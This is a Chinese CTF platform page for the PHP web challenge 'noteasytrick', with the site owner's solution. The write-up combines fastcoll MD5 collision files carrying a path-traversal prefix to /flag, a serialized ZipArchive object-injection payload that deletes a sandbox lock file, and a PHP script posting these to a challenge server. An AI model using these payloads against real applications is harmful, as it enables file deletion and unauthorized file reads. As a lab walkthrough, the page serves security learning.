noteasytrick

平台   WEB   已通过

题目作者: Jesen

一　　血: ‌‌‌‌‌信安小蚂蚁

一血奖励: 100金币

解　　决: 202

提　　示:

描　　述: fastcoll 内置类反序列化 noteasytrick,你能绕过吗？ flag在/flag

站长题解:

# 0x01 用fastcoll构造hash一致内容不一致的文件

git clone https://github.com/brimstone/fastcoll
cd fastcoll
# readflag.txt 内容如下
./../../../../../../../../flag

docker run --rm -it -v $PWD:/work -w /work -u $UID:$GID brimstone/fastcoll --prefixfile readflag.txt -o msg1.bin msg2.bin

# 0x02 通过原声 ZipArchive 类，删除 ./sandbox/lock.lock 文件

$j1 = new Jesen();
$j1->me = new ZipArchive();
$j1->filename = "./sandbox/lock.lock";
$j1->content = ZipArchive::OVERWRITE;

var_dump(serialize($j1));

构建payload

a[]=aaaa&b[]=bbbb&c=O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}

# 0x03 读取flag, 编写getflag.php

<?php
$postdata = http_build_query(
    array(
        'a' => file_get_contents("msg1.bin"), // hash碰撞出来的文件
        'b' => file_get_contents("msg2.bin"),
        'c' => "O:5:\"Jesen\":3:{s:8:\"filename\";s:0:\"\";s:7:\"content\";s:0:\"\";s:2:\"me\";N;}"
    )
);
$opts = array('http' =>
    array(
        'method' => 'POST',
        'header' => 'Content-type: application/x-www-form-urlencoded',
        'content' => $postdata
    )
);
$context = stream_context_create($opts);
$result = file_get_contents('http://114.67.175.224:14757/', false, $context);
echo $result;
?>

执行 php getflag.php，获得flag

去做题